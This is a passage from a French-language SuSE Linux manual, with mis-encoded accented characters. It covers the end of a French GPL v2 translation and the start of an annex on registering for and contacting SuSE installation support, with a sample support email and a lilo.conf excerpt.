  35008.                                  et, selon les termes des articles 1 et 2, sur un support couramment utilisΘ
  35009.                                  pour l'Θchange de logiciels ; ou
  35010.  
  35011.                             c)   Joindre  au  Programme  l'information  que  vous  avez  vous-mΩme  reτue
  35012.                                  concernant  l'offre  de  distribution  du  code  source  correspondant.  (Cette
  35013.                                  alternative n'est autorisΘe que pour une distribution non commerciale et
  35014.                                  seulement si vous avez reτu le Programme sous forme de code objet ou
  35015.                                  de code exΘcutable avec l'offre prΘvue par l'alinΘa b) du prΘsent article).
  35016.  
  35017.                            Par code source d'un ouvrage, on entend la forme de cet ouvrage de prΘfΘ-
  35018.                            rence utilisΘe pour y apporter des modifications. Pour un programme, le code
  35019.                            source complet est le code source de tous les modules qui le composent au-
  35020.                            quel s'ajoute tout fichier de dΘfinition d'interface associΘ ainsi que les scripts
  35021.                            utilisΘs pour le contr⌠le de la compilation et l'installation de l'exΘcutable. Il
  35022.                            existe cependant une exception particuliΦre : il n'est pas nΘcessaire qu'il soit
  35023.                            inclus dans le code source fourni tout ce qui est normalement distribuΘ (soit
  35024.                            sous forme de source soit sous forme binaire) avec les composantes princi-
  35025.                            pales  (compilateur,  noyau  etc.)  du  systΦme  d'exploitation  sur  lequel  l'exΘ-
  35026.                            cutable  est  mis  en  oeuvre,  α  moins  que  cette  composante  n'accompagne  le
  35027.                            programme exΘcutable.
  35028.  
  35029.                            Si  la  distribution  d'un  programme  exΘcutable  ou  du  code  objet  consiste  α
  35030.                            offrir un accΦs permettant d'effectuer une copie depuis un endroit dΘterminΘ,
  35031.                            l'offre d'un accΦs Θquivalent permettant de copier le code source α partir du
  35032.                            mΩme endroit est considΘrΘe comme une distribution du code source bien que
  35033.                            les  tierces  personnes  ne  soient  pas  tenues  de  copier  le  code  source  avec  le
  35034.                            code objet.
  35035.  
  35036.                            4.  Vous  n'Ωtes  pas  autorisΘ  α  copier,  modifier,  concΘder  en  sous-licence  ou
  35037.                            distribuer le Programme d'une autre maniΦre que celle expressΘment prescrite
  35038.                            par la prΘsente Licence. Toute tentative de copier, modifier, concΘder en sous-
  35039.                            licence ou distribuer le Programme sous d'autres conditions est entachΘe de
  35040.                            nullitΘ et entraεne automatiquement la perte des droits qui vous sont accordΘs
  35041.                            par la prΘsente Licence. Cependant les tiers auxquels vous avez transmis des
  35042.  
  35043.  
  35044. 552
  35045.        _________________________________________________________________G.__Licence_Publique_GΘnΘrale_GNU_(GPL)____________________*
  35046.  *______________________
  35047.  
  35048.  
  35049.  
  35050. copies ou des droits au titre de la prΘsente Licence ne subiront pas la perte
  35051. de leurs droits tant qu'ils continueront α se comporter de faτon absolument
  35052. conforme aux termes de la Licence.
  35053.  
  35054. 5. Vous n'Ωtes pas tenu d'accepter la prΘsente Licence puisque vous ne l'avez
  35055. pas signΘe. Il n'existe cependant rien d'autre qui vous autorise α modifier ou
  35056. α distribuer le Programme ou les ouvrages qui en sont dΘrivΘs. Ces actions
  35057. sont interdites par la loi si vous n'acceptez pas la Licence. En consΘquence,
  35058. toute modification ou distribution du Programme (ou d'un ouvrage basΘ sur
  35059. le Programme) constitue une acceptation implicite de la prΘsente Licence et
  35060. de  tous  ses  termes  et  conditions  concernant  la  copie,  la  distribution  ou  la
  35061. modification du Programme ou d'ouvrages basΘs sur celui-ci.
  35062.  
  35063. 6. Chaque fois que vous redistribuez le Programme (ou tout ouvrage basΘ sur
  35064. le Programme), le bΘnΘficiaire reτoit automatiquement du dΘtenteur initial de
  35065. licence l'autorisation de copier, distribuer et modifier le Programme confor-
  35066. mΘments aux termes et conditions de la prΘsente Licence. Vous n'avez pas
  35067. le droit d'imposer des restrictions supplΘmentaires α l'exercice des droits que
  35068. vous transmettez au bΘnΘficiaire. Vous n'avez pas la responsabilitΘ d'imposer
  35069. α des tiers de se conformer α la prΘsente Licence.
  35070.  
  35071. 7. Si par suite d'un jugement de tribunal, d'une allΘgation de violation de bre-
  35072. vet ou pour toute autre raison (ne se limitant pas aux questions des brevets) il
  35073. vous est imposΘ (par ordonnance judiciaire, accord ou autre) des conditions
  35074. incompatibles avec les conditions de la prΘsente Licence, cette circonstance
  35075. ne vous exempte pas de respecter les termes de la Licence. S'il ne vous est
  35076. pas possible de distribuer le Programme en conciliant vos obligations envers
  35077. la prΘsente Licence avec vos autres obligations, vous n'Ωtes pas autorisΘ α le
  35078. distribuer. Si par exemple une licence de brevet n'autorisait pas une redistri-
  35079. bution sans redevance du Programme par tous ceux qui en ont reτu des copies
  35080. par votre intermΘdiaire directe ou indirecte, le seul moyen qui vous permet-
  35081. trait de satisfaire aussi bien les exigences de cette licence de brevet que celles
  35082. de la prΘsente Licence serait de vous abstenir purement et simplement de dis-
  35083. tribuer le Programme.
  35084.  
  35085. Si une partie de cet article devait s'avΘrer nulle ou inapplicable dans certaines
  35086. circonstances particuliΦres, le reste de l'article n'en demeure pas moins appli-
  35087. cable et l'article devra s'appliquer dans son ensemble en toute autre circons-
  35088. tance.
  35089.  
  35090. Le but de ce prΘsent article n'est pas de vous inciter α enfreindre la loi sur les
  35091. brevets, ni α porter atteinte α tout autre droit de propriΘtΘ ou α contester la va-
  35092. liditΘ de tels droits. Son seul objectif est de protΘger l'intΘgritΘ du systΦme de
  35093. distribution des logiciels libres rΘalisΘ par la pratique des licences publiques.
  35094. De nombreuses personnes ont apportΘ une gΘnΘreuse contribution α la large
  35095. gamme de logiciels distribuΘs par ce systΦme en comptant sur une applica-
  35096. tion consΘquente du systΦme. Il appartient α l'auteur/donateur de dΘcider s'il
  35097. prΘfΦre distribuer ses logiciels par l'intermΘdiaire d'un autre systΦme ; aucun
  35098. bΘnΘficiaire de licence ne peut lui imposer un choix.
  35099.  
  35100. L'intention du prΘsent article est de rendre parfaitement clair ce qui est consi-
  35101. dΘrΘ comme une consΘquence du reste de la prΘsente Licence.
  35102.  
  35103.  
  35104.                                                                                                                                    *
  35105.  *   553
  35106. G.  Licence Publique_GΘnΘrale_GNU_(GPL)____________________________________________________________________________________________*
  35107.  *_______________________________________@
  35108.  
  35109.  
  35110.  
  35111.                            8. Si la distribution et/ou l'utilisation du Programme est restreinte dans cer-
  35112.                            tains pays, soit par des brevets soit par des droits d'auteurs sur des interfaces,
  35113.                            le titulaire du copyright original qui place le Programme sous la prΘsente Li-
  35114.                            cence  peut  prΘvoir  une  limitation  gΘographique  explicite  de  la  distribution
  35115.                            excluant ces pays, de telle sorte que la distribution ne soit autorisΘe que dans
  35116.                            les pays ou entre les pays qui ne sont pas exclus. Dans un tel cas, la prΘsente
  35117.                            Licence inclut cette limitation au mΩme titre que si elle Θtait Θcrite dans le
  35118.                            corps de la prΘsente Licence.
  35119.  
  35120.                            9. La Free Software Foundation peut publier pΘriodiquement des versions rΘ-
  35121.                            visΘes et/ou de nouvelles versions de la Licence Publique GΘnΘrale. Ces nou-
  35122.                            velles versions seront Θcrites dans le mΩme esprit mais pourront diffΘrer dans
  35123.                            certains dΘtails afin de tenir compte de nouveaux problΦmes ou de nouvelles
  35124.                            situations.
  35125.  
  35126.                            Il  est  attribuΘ  α  chaque  version  un  numΘro  bien  distinct.  Si  le  Programme
  35127.                            prΘcise qu'il est soumis α une version dΘterminΘe et α ``toute version ultΘrieu-
  35128.                            re'' de la prΘsente Licence vous pouvez choisir de vous conformer termes et
  35129.                            conditions soit de cette version, soit de toute version publiΘe ultΘrieurement
  35130.                            par la Free Software Foundation. Si le Programme ne prΘcise aucun numΘro
  35131.                            de version de la prΘsente Licence, vous pouvez choisir n'importe quelle ver-
  35132.                            sion publiΘe par la Free Software Foundation.
  35133.  
  35134.                            10. Si vous souhaitez intΘgrer des ΘlΘments du Programme dans d'autres pro-
  35135.                            grammes  libres  dont  les  conditions  de  distribution  sont  diffΘrentes,  Θcrivez
  35136.                            α l'auteur pour lui en demander l'autorisation. Pour les logiciels dont le co-
  35137.                            pyright est dΘtenu par la Free Software Foundation, Θcrivez α la Free Soft-
  35138.                            ware  Foundation ;  nous  faisons  quelquefois  des  exceptions.  Notre  dΘcision
  35139.                            sera guidΘe par le double objectif de prΘserver le statut libre de tous les dΘri-
  35140.                            vΘs de nos logiciels libres et de promouvoir le partage et la rΘutilisation des
  35141.                            logiciels en gΘnΘral.
  35142.  
  35143.                                                              ABSENCE DE GARANTIE
  35144.  
  35145.                            11.  La  Licence  du  Programme  Θtant  concΘdΘe  gratuitement,  il  n'existe
  35146.                            aucune  garantie  pour  le  Programme  dans  les  limites  permises  par  la
  35147.                            loi  en  vigueur.  Sauf  s'il  en  a  ΘtΘ  convenu  autrement  par  Θcrit,  les  dΘ-
  35148.                            tenteurs  de  copyright  et/ou  les  autres  parties  concernΘes  fournissent  le
  35149.                            Programme ``tel quel'', sans aucune forme de garantie ni explicite ni im-
  35150.                            plicite ; y compris, mais de faτon non limitative, les garanties implicites
  35151.                            de  qualitΘ  marchande  ou  d'adΘquation  α  un  usage  particulier.  C'est  α
  35152.                            vous qu'incombent tous les risques liΘs α la qualitΘ et α la performance
  35153.                            du Programme. Si le Programme se rΘvΘlait dΘfectueux, vous assumerez
  35154.                            les co√ts de tous les services, rΘparations et corrections nΘcessaires.
  35155.  
  35156.                            12. En aucun cas, sauf si la loi en vigueur le prescrit ou s'il en est convenu
  35157.                            par Θcrit, un dΘtenteur de copyright ou un tiers autorisΘ α modifier et/ou
  35158.                            α  distribuer  le  Programme  conformΘment  aux  conditions  ΘnoncΘes  ci-
  35159.                            dessus ne sera responsable α votre Θgard des dommages que vous pour-
  35160.                            riez  subir,  y  compris  tout  dommage  gΘnΘral,  spΘcial,  accidentel  ou  dΘ-
  35161.                            coulant de l'utilisation du Programme ou de l'impossibilitΘ de l'utiliser
  35162.                            (y compris, mais de faτon non limitative, la perte ou le traitement inadΘ-
  35163.                            quat de donnΘes, les prΘjudices subis par vous ou par des tiers ou l'im-
  35164.  
  35165.  
  35166. 554
  35167.        _________________________________________________________________G.__Licence_Publique_GΘnΘrale_GNU_(GPL)____________________*
  35168.  *______________________
  35169.  
  35170.  
  35171.  
  35172. possibilitΘ de mise en oeuvre du Programme conjointement α tout autre
  35173. programme) mΩme si le dΘtenteur du copyright ou le tiers concernΘ a ΘtΘ
  35174. informΘ de la possibilitΘ de tels dommages.
  35175.  
  35176.  
  35177.                           FIN DES TERMES ET CONDITIONS
  35178.  
  35179.  Annexe : Comment appliquer ces termes α vos nouveaux programmes ?
  35180.  
  35181.  
  35182. Si vous dΘveloppez un nouveau programme et si vous souhaitez qu'il soit uti-
  35183. lisΘ le plus possible par le public, le meilleur moyen d'y parvenir est d'en faire
  35184. un logiciel libre que chacun pourra redistribuer et modifier conformΘment aux
  35185. termes de la prΘsente Licence.
  35186.  
  35187. Pour  cela,  joignez  α  votre  programme  les  indications  suivantes.  Il  est  plus
  35188. s√r de les faire figurer au dΘbut de chaque fichier source afin que la mention
  35189. d'exclusion de toute garantie soit bien visible. Chaque fichier devrait en outre
  35190. contenir au moins une ligne de ``copyright'' et indiquer o∙ se trouve la notice
  35191. complΦte.
  35192.  
  35193. ffiUne ligne contenant le nom du programme et une brΦve description de ses
  35194. fonctions fflCopyright (C) 19yy ffiNom de l'auteur ffl
  35195.  
  35196. Ce programme est un logiciel libre ; vous pouvez le redistribuer et/ou le mo-
  35197. difier conformΘment aux dispositions de la Licence Publique GΘnΘrale GNU
  35198. telle qu'elle a ΘtΘ publiΘe par la Free Software Foundation ; version 2 de la
  35199. Licence ou (α votre choix) toute version ultΘrieure.
  35200.  
  35201. Ce  programme  est  distribuΘ  dans  l'espoir  qu'il  sera  utile,  mais  SANS  AU-
  35202. CUNE  GARANTIE ;  sans  mΩme  la  garantie  implicite  de  QUALIT╔  MAR-
  35203. CHANDE OU D'AD╔QUATION └ UN USAGE PARTICULIER. Voir la Li-
  35204. cence Publique GΘnΘrale pour plus de dΘtails.
  35205.  
  35206. Vous devriez avoir reτu un exemplaire de la Licence Publique GΘnΘrale GNU
  35207. conjointement  α  ce  programme ;  si  ce  n'est  pas  le  cas,  Θcrivez  α  la  Free
  35208. Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  35209.  
  35210. Ajoutez les informations permettant de vous contacter par courrier Θlectro-
  35211. nique ou courrier postal.
  35212.  
  35213. Si votre programme est interactif, faites en sorte qu'il Θmette un court mes-
  35214. sage comme celui-ci lors de son lancement en mode interactif :
  35215.  
  35216. Gnomovision version 69, Copyright (C) 19yy name of author Gnomovision
  35217. comes with ABSOLUTELY NO WARRANTY ; for details type `show w'. This
  35218. is free software, and you are welcome to redistribute it under certain condi-
  35219. tions ; type `show c' for details.
  35220.  
  35221. Les  commandes  hypothΘtiques  `show  w'  et  `show  c'  devraient  afficher  les
  35222. parties  appropriΘes  de  la  Licence  Publique  GΘnΘrale.  Les  commandes  que
  35223. vous utilisez peuvent bien s√r avoir un tout autre nom que `show w' et `show
  35224. c'. Elles peuvent aussi Ωtre accessibles par un clic de souris ou correspondre
  35225. α des options de menus - selon ce qui convient α votre programme.
  35226.  
  35227. Vous  devrez  aussi  demander  α  votre  employeur  (si  vous  travaillez  comme
  35228. programmeur)  ou  le  cas  ΘchΘant  α  votre  Θtablissement  scolaire  de  signer,
  35229. si  nΘcessaire,  une  dΘclaration  de  renonciation  aux  droits  d'auteur.  Voici  un
  35230. exemple que vous pouvez prendre en changeant les noms :
  35231.  
  35232.  
  35233.                                                                                                                                    *
  35234.  *   555
  35235. G.  Licence Publique_GΘnΘrale_GNU_(GPL)____________________________________________________________________________________________*
  35236.  *_______________________________________@
  35237.  
  35238.  
  35239.  
  35240.                            Yoyodyne, Inc. dΘclare par la prΘsente renoncer α tous droits d'auteur sur le
  35241.                            programme `Gnomovision' (qui fait des passages au niveau des compilateurs)
  35242.                            Θcrit par James Hacker.
  35243.  
  35244.                            ffisignature de Ty Coon ffl, 1er avril 1989 Ty Coon, President of Vice
  35245.  
  35246.                            La Licence Publique GΘnΘrale ne vous permet pas d'inclure votre programme
  35247.                            dans des programmes propriΘtaires. Si votre programme est une fonction de
  35248.                            bibliothΦque, il pourra vous sembler plus judicieux d'autoriser des Θditions
  35249.                            de  liens  des  applications  propriΘtaires  avec  cette  bibliothΦque.  Si  c'est  ce
  35250.                            que vous souhaitez, utilisez la Licence Publique GΘnΘrale pour BibliothΦques
  35251.                            GNU au lieu de la prΘsente Licence.
  35252.  
  35253. 556
  35254.  
  35255.                                                                                                            Annexe  H
  35256.                Assistance   Technique   et   services
  35257.  
  35258.  
  35259. Au cours de ces derniΦres annΘes, nous avons constatΘ qu'en dΘpit du haut
  35260. niveau de dΘveloppement atteint par Linux, il pouvait toujours survenir - bien
  35261. que de plus en plus rarement - certains problΦmes lors de l'installation. Nous
  35262. avons  rΘdigΘ  le  prΘsent  manuel  en  tenant  compte  de  nos  expΘriences  afin
  35263. de  vous  Θpargner,  cher  lecteur,  un  weekend  passΘ  α  attendre  nerveusement
  35264. de  pouvoir  contacter,  le  lundi  aprΦs-midi,  la  ligne  de  dΘpannage  qui  vous
  35265. permettra de poursuivre l'installation de votre systΦme.
  35266.  
  35267. Si  vous  deviez  rencontrer  quelques  difficultΘs,  assurez-vous  tout  d'abord,
  35268. avant de vous adresser α notre Θquipe d'Assistance Technique, que la solution
  35269. ne se trouve pas dΘjα dans ce manuel ou dans notre base de donnΘes support
  35270. (SDB)1 . Vous devriez Θgalement consulter les diffΘrents fichiers README qui
  35271. se trouvent sur le premier CD.
  35272.  
  35273. H.1        60 jours d'Assistance Technique α l'Installation
  35274.  
  35275.  
  35276.  
  35277. H.1.1       Sans  enregistrement,  pas  d'Assistance  Technique  α  l'Installa-
  35278.             tion !
  35279.  
  35280.  
  35281. Pour assurer un service optimal d'Assistance Technique α l'Installation, nous
  35282. ne rΘpondons qu'aux requΩtes adressΘes par les utilisateurs SuSE     Linux  en-
  35283. registrΘs.
  35284.  
  35285. └ la premiΦre page de ce manuel, vous trouverez une carte d'enregistrement
  35286. pourvue de votre numΘro de code. Ce code est unique et sert α vΘrifier que
  35287. vous Ωtes bien en possession d'un vΘritable SuSE     Linux.
  35288.  
  35289. Si  vous nous faites parvenir par courrier postal votre carte d'enregistrement                                     Carte d'enre-
  35290. aprΦs  l'avoir  remplie  ou  si  vous  vous  faites  enregistrer  en  ligne  sur  notre                            gistrement
  35291. serveur WWW α l'aide du formulaire sous l'URL http://www.suse.de/                                                  En ligne
  35292. en/support/isupport/register/,  vous  deviendrez  un  utilisateur  SuSE
  35293. Linux enregistrΘ ayant droit α l'Assistance Technique α l'Installation.
  35294.  
  35295. 1      ____________________________________________________
  35296.   Il est prΘcisΘ, au paragraphe H.6 page 563, sous quelle adresse Internet ou au moyen de quels
  35297. paquetages logiciels vous pourrez avoir accΦs α ces informations.
  35298.  
  35299.  
  35300.                                                                                                                                    *
  35301.  *   557
  35302. H.  Assistance Technique_et_services_de_SuSE______GmbH_____________________________________________________________________________*
  35303.  *_______________________________________@
  35304.  
  35305.                            ________________________________________________________________________________________________________*
  35306.  *________||
  35307.                            |  Comme  le  numΘro  d'enregistrement  et,  par  consΘquent,  le  droit  α  l'As-                      *
  35308.  *        ||||
  35309.  
  35310.                            || sistance Technique sont liΘs au produit, nous vous prions de bien vouloir                            *
  35311.  *        ||||
  35312.                            |                                                                                                       *
  35313.  *        ||||
  35314.                            |  vous faire enregistrer pour chaque Θdition de SuSE      Linux, mΩme si vous                          *
  35315.  *        |||
  35316.                            |  effectuez seulement une mise α jour ou si vous vous Ωtes procurΘ le pro-                             *
  35317.  *        |||
  35318.                            |                                                                                                       *
  35319.  *        |||
  35320.                            |  duit  directement  chez  nous.  Vous  n'Ωtes  pas  enregistrΘ  automatiquement                       *
  35321.  *        |||
  35322.                            |  au moment de l'achat !                                                                               *
  35323.  *        |||
  35324.                            |_______________________________________________________________________________________________________*
  35325.  *________|||_
  35326.  
  35327.  
  35328.                            H.1.2       PrΘsentation de l'Assistance Technique α l'Installation
  35329.  
  35330.                            Le but de l'Assistance Technique α l'Installation est de vous aider α mettre en
  35331.                            marche votre systΦme SuSE     Linux. Ceci inclut
  35332.  
  35333.  
  35334.                              ~   l'installation du systΦme de base SuSE     Linux α partir des CD
  35335.  
  35336.                              ~   la configuration de base d'un systΦme monoposte
  35337.  
  35338.                              ~   la configuration de base de l'interface graphique X11
  35339.  
  35340.                              ~   la  configuration  de  base  d'un  modem  analogique  de  type  courant  pour
  35341.                                  connexion Internet (uniquement du c⌠tΘ du client)
  35342.  
  35343.                              ~   la configuration de base d'une carte ISDN normale pour connexion Inter-
  35344.                                  net (uniquement du c⌠tΘ du client)
  35345.  
  35346.                              ~   la configuration du service d'impression local pour un ordinateur mono-
  35347.                                  poste
  35348.  
  35349.                              ~   la configuration de base d'une carte son supportΘe.
  35350.  
  35351.  
  35352.                            Les sujets qui ne sont pas mentionnΘs ici ne sont pas traitΘs par l'Assis-
  35353.                            tance Technique α l'Installation et il ne sera pas rΘpondu aux requΩtes les
  35354.                            concernant.
  35355.  
  35356.                            Notre Assistance Technique a ΘtΘ conτue pour vous venir en aide lors de l'ins-
  35357.                            tallation de base de votre systΦme et ne doit pas Ωtre considΘrΘe comme une
  35358.                            formation ou une introduction α Linux. Elle ne peut donc prendre en compte
  35359.                            que les problΦmes de configuration et ne peut pas rΘsoudre les problΦmes liΘs
  35360.                            α des difficultΘs de comprΘhension.
  35361.  
  35362.                            Il peut malgrΘ tout arriver qu'une certaine configuration matΘrielle impose des
  35363.                            restrictions au fonctionnement de SuSE     Linux ou ne permette pas du tout de
  35364.                            le faire dΘmarrer. Nous vous demandons donc de comprendre qu'il ne nous
  35365.                            est  pas  possible  de  vous  garantir  α  cent  pour  cent  que  les  efforts  de  notre
  35366.                            service d'Assistance Technique α l'Installation seront couronnΘs de succΦs.
  35367.  
  35368.                            Outre le systΦme Linux de base, notre distribution SuSE     Linux contient plus
  35369.                            de  mille  paquetages  logiciels  (actuellement   un  ensemble  d'environ  1300
  35370.                            paquetages). Nous nous efforτons de les maintenir α jour pour vous en offrir
  35371.                            la version la plus rΘcente mais il ne nous est pas toujours possible de connaεtre
  35372.                            en dΘtail la configuration de chacun de ces paquetages ni de programmer des
  35373.                            extensions. Vous comprendrez certainement que nous soyons parfois obligΘs,
  35374.                            pour la configuration de certains programmes, de vous demander de consulter
  35375.                            la documentation qui s'y rapporte (pages de man, fichiers README, aide en
  35376.                            ligne).
  35377.  
  35378.  
  35379.  
  35380. 558
  35381.        __________________________________________________________H.2.__Le_chemin_le_plus_court_qui_mΦne_α_l'aide_!_________________*
  35382.  *______________________
  35383.  
  35384.  
  35385.  
  35386. H.2        Le chemin le plus court qui mΦne α l'aide !
  35387.  
  35388. Le  texte  qui  suit  constitue  un  petit  guide  dont  le  but  est  de  vous  permettre
  35389. d'obtenir le plus vite possible une rΘponse de notre Θquipe d'Assistance Tech-
  35390. nique. Seul le courrier conforme au standard dΘcrit peut Ωtre traitΘ automati-
  35391. quement  et  donc  trΦs  rapidement  par  notre  systΦme  de  gestion !  Toutes  les
  35392. autres requΩtes doivent Ωtre triΘes α la main et transmises aux diffΘrents spΘ-
  35393. cialistes de notre Θquipe d'Assistance Technique.
  35394.  
  35395.  
  35396.   ~   Enregistrez votre SuSE      Linux en ligne, sur notre page Web sous http:
  35397.       //www.suse.de/en/support/isupport/register/.
  35398.  
  35399.   ~   Envoyez  votre  courrier,  comme  dans  le  fichier  H.2.1,  directement  α
  35400.       l'adresse  suse-fr@suse.de.  Tenez  compte  dans  vos  donnΘes  des  majus-
  35401.       cules  et  des  minuscules.  C'est  seulement  dans  ces  conditions  que  votre
  35402.       courrier pourra Ωtre traitΘ automatiquement. Si certains champs tels que
  35403.       ENTREPRISE  : ne sont pas nΘcessaires, laissez-les vides.
  35404.  
  35405.   ~   N'ajoutez pas d'annexes inutiles (par exemple cartes de visite au format
  35406.       X-VCARD)  et  insΘrez,  le  cas  ΘchΘant,  les  fichiers  de  configuration  au
  35407.       format|ASCII|directement|dans votre requΩte (voir fichier H.2.2).                                                        ||
  35408.  
  35409.        _______________________________________________________________________________________________________________________||||
  35410.        ||||||||PR╔NOM:  ZΘphirin                                                                                               |
  35411.        ||||||||NOM:  Blizzard                                                                                                  |
  35412.        ||||||||                                                                                                                |
  35413.        ||||||||ENTREPRISE:  Fanlabise  (Institut  mΘtΘorologique)                                                              |
  35414.        ||||||||RUE:  44,  rue  des  Quatre  Vents                                                                              |
  35415.        ||||||||                                                                                                                |
  35416.        ||||||||C.P.:  00444                                                                                                    |
  35417.        ||||||||VILLE:  COURANDAIRE                                                                                             |
  35418.        ||||||||                                                                                                                |
  35419.        ||||||||PAYS:  France                                                                                                   |
  35420.        ||||||||CODE.REG:  XXXXXX                                                                                               |
  35421.        ||||||||                                                                                                                |
  35422.        ||||||||EMAIL:  blizzard@nowhere.fr                                                                                     |
  35423.        ||||||||                                                                                                                |
  35424.        ||||||||ChΦre  Θquipe  d'Assistante  SuSE                                                                               |
  35425.        ||||||||                                                                                                                |
  35426.        ||||||||                                                                                                                |
  35427.        ||||||||J'ai  un  petit  problΦme  dans  mon  Institut  MΘtΘorologique.                                                 |
  35428.        ||||||||                                                                                                                |
  35429.        ||||||||                                                                                                                |
  35430.        ||||||||AprΦs  l'installation  de  SuSE  Linux  6.4,  je  vois                                                          |
  35431.        ||||||||                                                                                                                |
  35432.        ||||||||apparaεtre  le  message  d'erreur                                                                               |
  35433.        ||||||||                                                                                                                |
  35434.        ||||||||                                                                                                                |
  35435.        ||||||||                     "Unable  to  open  an  initial  console"                                                   |
  35436.        ||||||||                                                                                                                |
  35437.        ||||||||                                                                                                                |
  35438.        ||||||||Je  possΦde  un  Pentium  400  avec  128  Mo  de  RAM  et  un  disque  dur                                      |
  35439.        ||||||||IDE  de  8  Go.  Qu'est-ce-que  j'ai  bien  pu  faire  qui  ne  va  pas?                                        |
  35440.        ||||||||                                                                                                                |
  35441.        ||||||||                                                                                                                |
  35442.        ||||||||Amicales  pensΘes                                                                                               |
  35443.        ||||||||(aussi  de  la  part  de  mon  assistant  Roger  Galerne)                                                       |
  35444.        ||||||||                                                                                                                |
  35445.        ||||||||                                                                                                                |
  35446.        ||||||||ZΘphirin  Blizzard                                                                                              |
  35447.        ||||||||                                                                                                                |
  35448.        ||||||||<blizzard@nowhere.fr>__________________________________________________________________________________________ |
  35449.  
  35450.         fichier H.2.1: Exemple pour une requΩte par courrier Θlectronique
  35451.                                                                                                                                    *
  35452.  *   559
  35453. H.  Assistance Technique_et_services_de_SuSE______GmbH_____________________________________________________________________________*
  35454.  *_______________________________________@
  35455.  
  35456.                            ________________________________________________________________________________________________________*
  35457.  *________||||
  35458.  
  35459.                            |...  j'ai  un  problΦme  avec  Lilo.  Voici  la  partie  la  plus                                      *
  35460.  *         |
  35461.                            ||importante  de  mon  fichier  /etc/lilo.conf                                                          *
  35462.  *         ||
  35463.                            |                                                                                                       *
  35464.  *         |
  35465.                            |---clic---                                                                                             *
  35466.  *         |
  35467.                            |                                                                                                       *
  35468.  *         |
  35469.                            |#  Linux  bootable  partition  config  begins                                                          *
  35470.  *         |
  35471.                            |image  =  /boot/vmlinuz                                                                                *
  35472.  *         |
  35473.                            |root  =  /dev/sda2                                                                                     *
  35474.  *         |
  35475.                            |                                                                                                       *
  35476.  *         |
  35477.                            |label  =  linux-2.0.36                                                                                 *
  35478.  *         |
  35479.                            |#  Linux  bootable  partition  config  ends                                                            *
  35480.  *         |
  35481.                            |                                                                                                       *
  35482.  *         |
  35483.                            |---clac---_____________________________________________________________________________________________*
  35484.  *________ |
  35485.  
  35486.                            fichier H.2.2: ╔lΘment d'une requΩte par courrier Θlectronique avec fichier de
  35487.                            configuration
  35488.  
  35489.  
  35490.  
  35491.                            PΘriode de validitΘ de l'Assistance Technique α l'Installation
  35492.  
  35493.                            L'Assistance Technique α l'Installation pour un CD SuSE     Linux couvre une
  35494.                            pΘriode de 60 jours α compter de la date de votre enregistrement mais s'Θtend
  35495.                            au maximum α 60 jours aprΦs la date de parution du CD suivant.
  35496.  
  35497.  
  35498.                            H.2.1       Comment contacter l'Θquipe d'Assistance Technique SuSE     ?
  35499.  
  35500.                            Vous pouvez contacter notre Θquipe d'Assistance Technique par E-mail, fax,
  35501.                            courrier postal et par tΘlΘphone.
  35502.  
  35503.                            Lorsque  vous  nous  adressez  une  requΩte  d'Assistance  Technique,  assurez-
  35504.                            vous que le moyen de communication que vous avez choisi fonctionne effec-
  35505.                            tivement. Il nous arrive trΦs souvent de devoir rΘpondre α des requΩtes dans
  35506.                            des  conditions  difficiles,  lorsque  par  exemple  le  tΘlΘcopieur  de  notre  client
  35507.                            n'est pas continuellement en marche (fax sur ordinateur) ou lorsque l'adresse
  35508.                            E-mail n'est pas valide ou n'est pas accessible.
  35509.                            ________________________________________________________________________________________________________*
  35510.  *________|||
  35511.                            |  Lorsque  vous  envoyez  du  courrier  Θlectronique,  vous  devez  veiller  α  ne                     *
  35512.  *        ||||
  35513.                            |                                                                                                       *
  35514.  *        |||
  35515.                            |  pas envoyer d'annexes (angl. attachments). Si vous voulez transmettre par                            *
  35516.  *        |||
  35517.                            |  exemple des fichiers log, intΘgrez-les directement dans le texte. Vous de-                           *
  35518.  *        |||
  35519.                            |                                                                                                       *
  35520.  *        |||
  35521.                            |  vriez  tout  particuliΦrement  Θviter  de  joindre  α  vos  mails  des  fichiers  en                 *
  35522.  *        |||
  35523.                            |  formats propriΘtaires ~ en rΦgle gΘnΘrale, nous ne disposons pas des logi-                           *
  35524.  *        |||
  35525.                            |                                                                                                       *
  35526.  *        |||
  35527.                            |  ciels nΘcessaires pour le dΘcodage de tels messages. En outre, il n'est pas                          *
  35528.  *        |||
  35529.                            |  indispensable de nous faire parvenir des textes HTLM. Cette fonction peut                            *
  35530.  *        |||
  35531.                            |                                                                                                       *
  35532.  *        |||
  35533.                            |  Ωtre dΘsactivΘe dans votre navigateur : : :                                                          *
  35534.  *        |||
  35535.                            |_______________________________________________________________________________________________________*
  35536.  *________|||_
  35537.  
  35538.                            Vous pouvez contacter notre Θquipe d'Assistance Technique  de la faτon sui-
  35539.                            vante aux horaires indiquΘs :
  35540.  
  35541.  
  35542.                              ~   par E-mail
  35543.  
  35544.                                  Adresse :                             suse-fr@suse.de
  35545.  
  35546.                                  Traitement des requΩtes :             toute la semaine
  35547.  
  35548.                              ~   par WWW (E-mail)
  35549.  
  35550.                                  Adresse :                            http://www.suse.de/fr/support/
  35551.  
  35552.                                  Traitement des requΩtes :             toute la semaine
  35553.  
  35554.  
  35555. 560
  35556.        ________________________________________________________________________________________________H.3.__SuSE______Service_Pro_*
  35557.  *______________________
  35558.  
  35559.  
  35560.  
  35561.   ~   par tΘlΘphone (ligne de dΘpannage)
  35562.       NumΘro de tΘlΘphone
  35563.         pour la France :                    0825 012 014 (0.99 F/min)
  35564.         hors de France :                    +33 3 88 220 116
  35565.  
  35566.       Horaires de la ligne de dΘpannage :
  35567.  
  35568.                     lundi de 14h.00 α 18h.00 et jeudi de 16h.00 α 20h.00
  35569.  
  35570.       Tenez votre code d'enregistrement α portΘe de la main et assurez-vous que
  35571.       vous Ωtes dΘjα enregistrΘ. Seuls les utilisateurs SuSE      Linux   enregistrΘs
  35572.       ont droit α l'Assistance Technique α l'Installation.
  35573.  
  35574.       Nous  vous  prions  de  bien  vouloir  noter  qu'une  requΩte  tΘlΘphonique
  35575.       normale ne devrait pas dΘpasser 5 minutes.
  35576.  
  35577.       Nous  recevons  habituellement  vers  14h.00  un  bien  plus  grand  nombre
  35578.       d'appels qu'α une heure plus avancΘe. Si vous ne parveniez pas α joindre
  35579.       tout de suite l'un de nos collaborateurs de l'Assistance Technique, essayez
  35580.       tout simplement un peu plus tard.
  35581.  
  35582.   ~   par fax
  35583.  
  35584.       NumΘro de tΘlΘcopieur :
